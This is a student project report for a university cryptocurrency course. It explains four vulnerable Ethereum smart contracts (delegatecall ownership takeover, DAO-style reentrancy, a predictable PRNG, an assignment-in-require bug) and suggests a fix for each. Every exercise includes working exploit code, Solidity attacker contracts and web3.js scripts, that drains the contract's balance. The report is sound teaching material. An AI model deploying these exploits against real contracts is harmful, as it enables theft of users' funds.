Cryptocurrencies (WS2020/21) Prof. Matteo Maffei

Project 2 – Smart Contracts

TU Wien

Group 15

Our group consists of the following members:

Greta Rausa, Luca Tasso, Tiago Fragoso
12007529, 12006420, 12005836

Exercise A: Bad Parity

Exercise A:.1 Vulnerability

After inspecting the `Wallet` and `WalletLib` contracts, we took a look at the provided article. This wallet implementation is split into two contracts for gas efficiency, with *"a library contract called "WalletLibrary" and an actual "Wallet" contract consuming the library"*.

There is a particularly interesting function in the `WalletLib` contract: the `initWallet(address payable)` function, which has a `public` modifier, meaning it can be called by other accounts. This function changes the owner and is used by the `Wallet` contract in its constructor.

```
01 | function initWallet(address payable _owner) public payable {
02 |     owner = _owner;
03 | }
```

Listing 1: initWallet function

Moreover, the `Wallet` contract offers a fallback function that allows it to receive money. However, this function uses `delegatecall` — execute the code of the callee in the environment and storage of the caller — to allow the `WalletLib` to the implement the logic to handle this message. This `delegatecall` sends the call data to the `WalletLib` contract, allowing the attacker to exploit the call data with the `initWallet` function call.

```
01 | function () external payable {
02 |     emit LogValue(301,msg.value);
03 |     require( tx.origin == student );
04 |     walletLibrary.delegatecall(msg.data);
05 | }
```

Listing 2: Wallet fallback function

Exercise A:.2 Exploit

We started by getting the `WalletLib` contract address and creating a contract instance, which allowed us to automatically create the ABI encoding for the `initWallet` call, using our address as the argument. We sent this transaction to the `Wallet` contract, which does not implement this function, so the fallback function is triggered. In this function, it delegates the call data to the `WalletLib` contract which does implement the `initWallet` function, making us the owner.

After this, we called the `withdraw` function in the `Wallet` contract with the contract balance to get all of the money, which is possible since we are the owner.

```
(...)
const txObject = {
    from: this.myAddr,
    to: this.challengeAddr,
    data: walletLibContract.methods.initWallet(this.myAddr).encodeABI(),
};
(...)
await this.w3.eth.sendTransaction({ ...txObject, gas });
(...)
const walletBalance = await this.w3.eth.getBalance(this.challengeAddr);
await challengeContract.methods.withdraw(walletBalance).send({ from: this.
    myAddr });
```

Listing 3: BadParity exploit

Exercise A:.3 Possible fix

A possible fix to this vulnerability would be to add a modifier to the `initWallet` function, checking if it has been called before. If it has, then the function should not be entered.

Exercise B: DAO Down

Exercise B:.1 Vulnerability

The vulnerability in the `EDao` contract is the same as mentioned in the lectures and described in this paper. It lies on the `Reentrancy` principle — when calling an external contract, it can call the original function again which might cause unexpected behavior. In the case of the `EDao` contract, the `withdraw` function calls an external entity before finishing updating the state. An attacker can, thus, deploy a contract that calls the `withdraw` function and implements a fallback function that calls `withdraw` again. Since the amount of funds the contract can withdraw is only updated after the external call is finished, the attacker can repeatedly call the `withdraw` function until the `EDao` contract has no more balance.

```
function withdraw(address payable addr,uint256 amount) public returns (
    bool) {
     Fund storage f = funds[addr];
     if (f.amount >= amount && amount <= address(this).balance) {
         (bool success, ) = f.payoutAddr.call.value(amount)("");
         if (success) {
             f.amount = f.amount - amount;
             return true;
```

```
08 |           }
09 |       } else {
10 |         emit NotEnoughFunds(msg.sender,amount,f.amount,address(this).balance
         );
11 |       }
12 |       return false;
13 |   }
```

Listing 4: EDao withdraw function

Exercise B:.2 Exploit

For this exploit, we deployed a contract similar to the one suggested in the provided paper. This contract provides an `attack` function which funds the `EDao` contract with *1 wei* and withdraws it aftewards. However, when the `EDao` contract pays the exploit, its fallback function is triggered, calling withdraw again. This is done only twice because it will lead to an underflow, causing the exploit's balance in `EDao` to be $2^{256} - 1$ *wei*:

1. Exploit funds EDao with 1 wei: **Exploit's balance in EDao is *1 wei***
2. 1st withdraw is called: **Exploit's balance in EDao is *0 wei***
3. 2nd withdraw is called: **Exploit's balance in EDao is $2^{256} - 1$ *wei***

Then, the attacker calls the `getJackpot` function in the exploit contract which, in turn, withdraws the full balance of the `EDao` contract.

```
01 |  contract MalloryExploit {
02 |      address payable owner;
03 |      EDao public dao;
04 |      bool performAttack = true;
05 |
06 |      constructor(address payable _dao_addr) public payable {
07 |          owner = msg.sender;
08 |          dao = EDao(_dao_addr);
09 |      }
10 |
11 |      function attack() public payable {
12 |          dao.fundit.value(1)(address(this));
13 |          dao.withdraw(address(this), 1);
14 |      }
15 |
16 |      function() external payable {
17 |          if (performAttack) {
18 |              performAttack = false;
19 |              dao.withdraw(address(this), 1);
20 |          }
21 |      }
22 |
23 |      function getJackpot() public {
24 |          dao.withdraw(address(this), address(dao).balance);
25 |          owner.transfer(address(this).balance);
26 |      }
27 |
```

```
28 | }
```

Listing 5: EDao exploit contract

The attacker starts by deploying the exploit contract and giving it *1 wei*. Then, it must add this contract as a valid investor to the `EDao`. Finally, it can simply call the `attack` and `getJackpot` methods to retrieve `EDao`'s balance.

```
01 | (...)
02 | const deployedExploit = await exploit.deploy({
03 |     data: bytecode,
04 |     arguments: [this.challengeAddr],
05 | }).send({
06 |     from: this.myAddr,
07 |     value: 1,
08 | });
09 | (...)
10 | await challengeContract.methods.addInvestor(deployedExploit.options.
       address, false).send({ from: this.myAddr });
11 | await deployedExploit.methods.attack().send({ from: this.myAddr });
12 | await deployedExploit.methods.getJackpot().send({ from: this.myAddr });
```

Listing 6: EDao exploit code

Exercise B:.3 Possible fix

A possible fix for this vulnerability would be to update the attacker's funds before making the external call, thus a reentrancy would be "blocked" by the fact that the attacker has no available funds to withdraw.

Exercise C: Fail Dice

Exercise C:.1 Vulnerability

The vulnerability in the `SatoshiFailDice` contract lies in the Pseudo-Random Number Generator (PRNG) function, which is completely predictable. This function is responsible for generating a random number for the "better", using a set of values which should be only accessible to this contract. However:

- `msg.sender`: is know because it's our (or a contract's) address
- `block.coinbase` and `now` (or `block.timestamp`): is not known to the attacker, but if a contract is deployed to interact with the `SatoshiFailDice` contract, it can access the current block's data which is the same for a given transaction
- `big_secret`: is easily obtained using the `getStorageAt` function

Since all values can be obtained beforehand, it is possible to calculate the correct user roll to match the generated contract roll and always win the bet.

```
01 | function PRNG(address sender) private view returns(uint8){
02 |                          // Totally "awesome" PRNG
03 |     //return uint8(keccak256(abi.encodePacked(sender, block.coinbase, now,
       big_secret)));
04 |     return uint8(uint(keccak256(abi.encodePacked(sender, block.coinbase,
       now, big_secret))));
05 | }
```

Listing 7: PRNG function

Exercise C:.2 Exploit

We deployed a contract which is responsible for computing the correct user roll, placing a bet and collecting the reward. The `big_secret` is computed by the attacker beforehand and supplied to the contract. The exploit contract provides an `attack` function which calculates the user roll to send to the `SatoshiFailDice` (line 15) and places a bet with the value sent by the attacker. The correct user roll is equal to $42 - contract\_roll$, where `contract_roll` is calculated in the same way as in the `SatoshiFailDice`'s `PRNG` function. It also provides a `withdraw` function for the attacker to get the funds and a fallback function to receive funds.

```
01 | contract Exploit {
02 |     address payable owner;
03 |     uint big_secret;
04 |     SatoshiFailDice public dice;
05 |
06 |     event Success(bool success);
07 |
08 |     constructor(uint _big_secret, address payable _caddr) public payable {
09 |         owner = msg.sender;
10 |         big_secret = _big_secret;
11 |         dice = SatoshiFailDice(_caddr);
12 |     }
13 |
14 |     function attack() public payable {
15 |         uint8 user_roll = uint8(42 - uint8(uint(keccak256(abi.encodePacked
       (address(this), block.coinbase, block.timestamp, big_secret)))));
16 |         dice.rollDice.value(msg.value)(user_roll);
17 |     }
18 |
19 |     function withdraw() public {
20 |         require(msg.sender == owner);
21 |         owner.transfer(address(this).balance);
22 |     }
23 |
24 |     function() external payable { }
25 | }
```

Listing 8: FailDice exploit contract

The attacker first obtains the `big_secret` by using the `getStorageAt` function — the `big_secret` is located at position 0 in the `SatoshiFailDice` contract. After that, the exploit contract is deployed and given the `big_secret`.

After that, the value of the bet is calculated: we place a bet of $contractBalance/9$ because $bet * 10 \geq contractBalance + bet$ for the attacker to get the full contract balance. We call the `attack` function by sending a transaction of this amount to the exploit contract. Finally, we call the `withdraw` function to get the funds from the exploit.

```
01 |  (...)
02 |  const bigSecret = await this.w3.eth.getStorageAt(this.challengeAddr, 0);
03 |  (...)
04 |  const deployedExploit = await exploit.deploy({
05 |      data: bytecode,
06 |      arguments: [this.w3.utils.toBN(bigSecret), this.challengeAddr],
07 |  }).send({
08 |      from: this.myAddr,
09 |  });
10 |  (...)
11 |  const cBalance = await this.w3.eth.getBalance(this.challengeAddr);
12 |  const bet = Math.ceil(cBalance / 9);
13 |  (...)
14 |  await deployedExploit.methods.attack().send({
15 |      from: this.myAddr,
16 |      gas,
17 |      value: bet,
18 |  });
19 |  (...)
20 |  await deployedExploit.methods.withdraw().send({
21 |      from: this.myAddr,
22 |  });
```

Listing 9: FailDice exploit

Exercise C:.3 Possible fix

Creating a secure PRNG in Ethereum is hard, as stated in this support article. A possible solution would be to use the blockhash of a future block — player bets, "house" saves block number; player requests "house" to announce winner; "house" uses the saved block number to get blockhash and generate random number. However, the EVM only stores the hashes of the past 256 blocks for scalability reasons, which limits this solution. Another solution could be to use an external oracle — bridge between the deterministic blockchain and off-chain data — to introduce real randomness in the smart contract. Other possible solutions would be to have the "house" sign the bet and use the signature as the seed or, finally, a two-phase commit-reveal approach where both parties first submit encrypted seeds, and reveal them in the next phase, allowing for verifiability.

Exercise D: Not A Wallet

Exercise D:.1 Vulnerability

After inspecting the `NotAWallet` contract source code, we found a critical vulnerability in the `removeOwner(address)` function, particularly in line 31.

```
30 |  function removeOwner(address oldowner) public rightStudent {
31 |      require(owners[msg.sender] = true);
```

```
32 |             owners[oldowner] = false;
33 |     }
```

Listing 10: NotAWallet vulnerability

This `require` instruction is using an assignment instead of a comparison (= instead of ==), which means that the sender will be granted owner permissions when running the `require`.

Exercise D:.2 Exploit

The function containing the vulnerability is public and contains the modified `rightStudent`, so as long we are performing the transaction from the student address, we can access it. This function takes an `address` argument which corresponds to the owner we want to remove, so it can be any valid Ethereum address.

First, we generated a random Ethereum address using `Web3.utils`, then we sent a transaction to execute the `removeOwner` function with the random address we created. Since we are the sender (`msg.sender`), the vulnerability explained above will add our address to the `owners` mapping. Finally, we can simply send a transaction to execute the `withdraw` function with the balance of the contract, since we are considered owners.

```
01 | const randomHex = this.w3.utils.randomHex(20);
02 | const randomAddr = this.w3.utils.toChecksumAddress(randomHex);
03 | (...)
04 | await challengeContract.methods.removeOwner(randomAddr).send({ from: this.
       myAddr });
05 | (...)
06 | await challengeContract.methods.withdraw(await this.w3.eth.getBalance(this
       .challengeAddr)).send({ from: this.myAddr });
```

Listing 11: NotAWallet exploit

Exercise D:.3 Possible fix

In this contract, the fix is straight-forward: changing the assignment operator to the comparison operator on line 31 of the `NotAWallet` contract.

Work distribution

We worked through the Discord platform, in order to discuss the challenges openly, making it easier to collaborate. The group worked collaboratively on each challenge, but was coordinated and supported by Tiago, as he strongly assisted the other members, especially during the setup phase. We need to acknowledge him the role of the group leader.